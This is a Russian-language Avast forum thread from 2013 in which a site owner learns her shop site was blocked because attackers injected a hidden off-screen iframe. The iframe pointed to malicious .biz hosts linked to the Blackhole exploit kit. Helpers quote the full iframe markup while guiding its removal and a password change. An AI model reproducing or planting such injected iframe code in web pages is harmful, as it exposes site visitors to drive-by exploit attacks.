Avast WEBforum
Non-English Zone => Русский => Topic started by: Lana12345 on September 11, 2013, 11:35:54 PM
-
Помогите разобраться, сайт проверен сто раз на вирусы, не найдено ничего подозрительного. Нет баннеров, нет рекламы, нет внешних ссылок. Посетители сайта жалуются, что аваст блокирует мой сайт. Скрин прилагаю. Сайт giftseshop.com.
Проверила на http://sitecheck.sucuri.net
status: Verified Clean
web trust: Not Blacklisted
*Cached results from the last 24 hrs.
Security report (No threats found):
check Blacklisted: No
check Malware: No
check Malicious javascript: No
check Malicious iFrames: No
check Drive-By Downloads: No
check Anomaly detection: No
check IE-only attacks: No
check Suspicious redirections: No
check Spam: No
-
Здравствуйте Lana12345 и добро пожаловать на форум!
Для плодотворной совместной работы с участниками форума рекомендуем ознакомиться с темой Информация о форуме (http://forum.avast.com/index.php?topic=102771.0).
Также рекомендуем ознакомиться с темой ОТЧЁТЫ ПРИ БЛОКИРОВКЕ ДОСТУПА К ВАШЕМУ САЙТУ (http://forum.avast.com/index.php?topic=130898.msg968483#msg968483).
В прикрепленном Вами скриншоте адрес блокируемого сайта не полный. Зайдите снова на сайт и при появлении сообщения avast! о блокировании, нажмите кнопку "ПОДРОБНЕЕ...>>>". Вы будете перенаправлены на сайт avast!, адрес этого сайта приведите в своем следующем сообщении.
Не стесняйтесь задавать вопросы, если Вам что-то непонятно. Желаем удачи!
-
К сожалению ничего больше показать не могу.
Мой Аваст на моем компе не блокирует. Я показала сайт на форуме где давно всех знаю и доверяю и мне МАССОВО написали что сайт блокируется как перенаправляющий куда то. Не поверить невозможно, очень много людей мне об этом сказали.
Не могли бы вы дать идею почему это может быть? Вирус не обнаружила.
-
Lana12345
Блокирует сетевой экран аваста, вероятно сайт по какой то причине попал в черный список. Отправьте запрос в тех. поддержку http://www.avast.ru/contact-form.php Тема: сообщить о ложной вирусной тревоге на веб сайте, если сайт действительно чист его разблокируют.
-
Lana12345, сам сайт у меня не блокируется, ругается на этот iframe у Вас на сайте:
<iframe src="http://swtcommfickner.biz:7761/nwshp/itunes.php?desktop=1" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000px;top:0;"></iframe>
Сейчас уже на сайте нет этого iframe и аваст молчит
-
Andrey,pro- Спасибище! Уберу этот код для верности.
Ligalizovan- Спасибо за подсказку!
-
сам сайт у меня не блокируется, ругается на этот iframe у Вас на сайте:
Code: [Select]
<iframe src="http://.........er.biz:7761/nwshp/itunes.php?desktop=1" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000px;top:0;"></iframe>
Сейчас уже на сайте нет этого iframe и аваст молчит
« Last Edit: Today at 05:44:51 PM by Andrey,pro »
Вот и пользователи говорят, что раз ругается, раз молчит.
-
Lana12345
Пожалуйста, удалите цитату из Вашего сообщения. В ней присутствует адрес, на который реагирует Аваст. В сообщении Andrey,pro он спрятан в тег CODE и поэтому безвреден для случайного нажатия, а у Вас в цитате он "свободен" и опасен.
-
ок, сделано
-
Lana12345, на сайте снова вредоносный iframe:
<iframe src="http://ratingbasedblackboards.biz:7761/specials/demos/mysql-admin/itunes.php?desktop=1" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000px;top:0;"></iframe>Удалите этот код и смените пароли на админку и ftp.
-
Andrey,pro, я удалила вообще весь код iframe, посмотрите пожалуйста еще раз. Спасибо за помощь!
-
По-прежнему на сайте имеется вредоносный iframe.
-
Спасибо! Вот это да! Даже не соображу где он прячется ведь, iframe уже весь стерла, в какой то замаскированной форме чтоли... Пойду искать.
-
iframe больше обнаружить не удалось, я вообще его весь удалила и хороший и плохой. Нашла лишний decode, чистила всю ночь. Скачала код на комп, просканировала Авастом-ничего не находит. Посмотрите, пожалуйста, еще раз?
Кстати, интересно что меняю пароль на ftp, но открывается он только на старый пароль.
-
Сейчас при заходе на сайт никаких предупреждений от антивируса нет, сайт чист.
-
Andrey,pro- спасибо за помощь!
-
Хотя аваст не сообщает о вирусах на Вашем сайте, avg видит на сайте 3 угрозы: http://www.avgthreatlabs.com/website-safety-reports/domain/giftseshop.com/#analytics
(внедрение невидимого iframe, Blackhole Exploit kit, эксплойт), причем последняя вирусная активность зафиксирована сегодня.
-
Сходила по этой ссылке, честно сказать, мне показалось что они определяют вирус погадав на кофейной гуще, а точнее исходя из теории вероятности заражения на основе цифр мировой зараженности.. Iframe он или есть или его нет, а если верить их графикам, вирус день активничает, потом неделю "отдыхает". Не вызвало доверия также что они обещают дать пораженные урл, если зарегестрируешься, зарегестрировалась, поставила их мета таг-ничего нового не показали, никаких урл не дали, только показывают графики мировой зараженности:) Вообщем конкретной помощи от них-0,0
Причем два вируса в которых меня подозревают вроде на компах живут , а не сайтах. Комп тоже весь проверила просканировала еще пару раз, раз авастом и второй раз утилитой, говорят комп чист.
Вопрос: если вирус все таки есть, существует способ определить точное местанахождение на сайте?
-
Личные сообщения можно отправлять? Зарегистрировался. Вам не разрешается доступ в этот раздел. Есть описание правил отправки личных сообщений для этого форума?
-
3421
Здравствуйте и добро пожаловать на форум!
Для плодотворной работы рекомендуем ознакомиться с темой Информация о форуме (http://forum.avast.com/index.php?topic=102771.0).
Для прямой загрузки продуктов AVAST Software, для связи с сервисами компании и для ознакомления с документацией на продукты компании рекомендуем ознакомиться с темой avast! ссылки: продукты, утилиты, сервисы и документация (http://forum.avast.com/index.php?topic=106737.0).
Для подготовки отчётов (логов), необходимых для лечения Вашего компьютера от заражений, рекомендуем ознакомиться с темой Логи для помощи в очистке компьютера от заражений (http://forum.avast.com/index.php?topic=130898.0):
- ОТЧЁТЫ ДЛЯ ДИАГНОСТИКИ И ОЧИСТКИ ЗАРАЖЕНИЙ (http://forum.avast.com/index.php?topic=130898.msg968438#msg968438)
- ОТЧЁТЫ ПРИ НЕВОЗМОЖНОСТИ ЗАГРУЗИТЬ КОМПЬЮТЕР (http://forum.avast.com/index.php?topic=130898.msg968445#msg968445)
- ОТЧЁТЫ ПРИ БЛОКИРОВКЕ ДОСТУПА К ВАШЕМУ САЙТУ (http://forum.avast.com/index.php?topic=130898.msg968483#msg968483)
Для воспрепятствования спамерам новички на сайте не имеют права изменять свой профиль, добавлять аватары и пользоваться системой личных сообщений пока не оставят на форуме более 20 значимых сообщений (пустой трёп и оффтоп в счёт не идёт и удаляется). Так зачем Вам личные сообщения?
Не стесняйтесь задавать вопросы, если Вам что-то непонятно. Желаем удачи!
-
Очевидный вопрос. Тогда проще. Ссылки на сканеры сторонних производителей или названия можно оставлять открыто?
Ещё упрощаю. Это для Lana12345 напишите мне сюда q2w3e4r5t4u8u9e@yahoo.ca есть, что посоветовать. Боятся подвоха не стоит. Если вам это надо.
-
Очевидный вопрос.
А как насчёт очевидного ответа?
Ссылки на сканеры сторонних производителей или названия можно оставлять открыто?
Если это требуется для очистки компьютера пользователя.
Ещё упрощаю. Это для Lana12345 напишите мне сюда q2w3e4r5t4u8u9e@yahoo.ca есть, что посоветовать. Боятся подвоха не стоит. Если вам это надо.
Спрошу прямо: какова Ваша квалификация в сфере компьютерной безопасности? Почему Вам стоит доверять? И, наконец, этично ли давать какие-либо советы, не уточнив не навредят ли они текущему процессу?
-
Без комментариев. Выше написано. Каждый волен сам решать, что с выше написанным делать.
-
Без комментариев. Выше написано. Каждый волен сам решать, что с выше написанным делать.
В таком случае, я должен рекомендовать всем воздержаться от использования Ваших советов как сомнительных.
-
Andrey,pro, посмотрите, пожалуйста еще раз мой сайт. iframe найти я так и не смогла, поэтому просто меняла файлы где может жить вирус на чистые исходники. Если что то найдете, то перезалью весь сайт полностью. Будут потери, поэтому пока на это не иду, жду что скажите.
-
Lana12345, не вижу ничего вредоносного на Вашем сайте, да и авг уже 3 дня не находит на Вашем сайте вирусы. :)
-
Andrey,pro, спасибо большое!!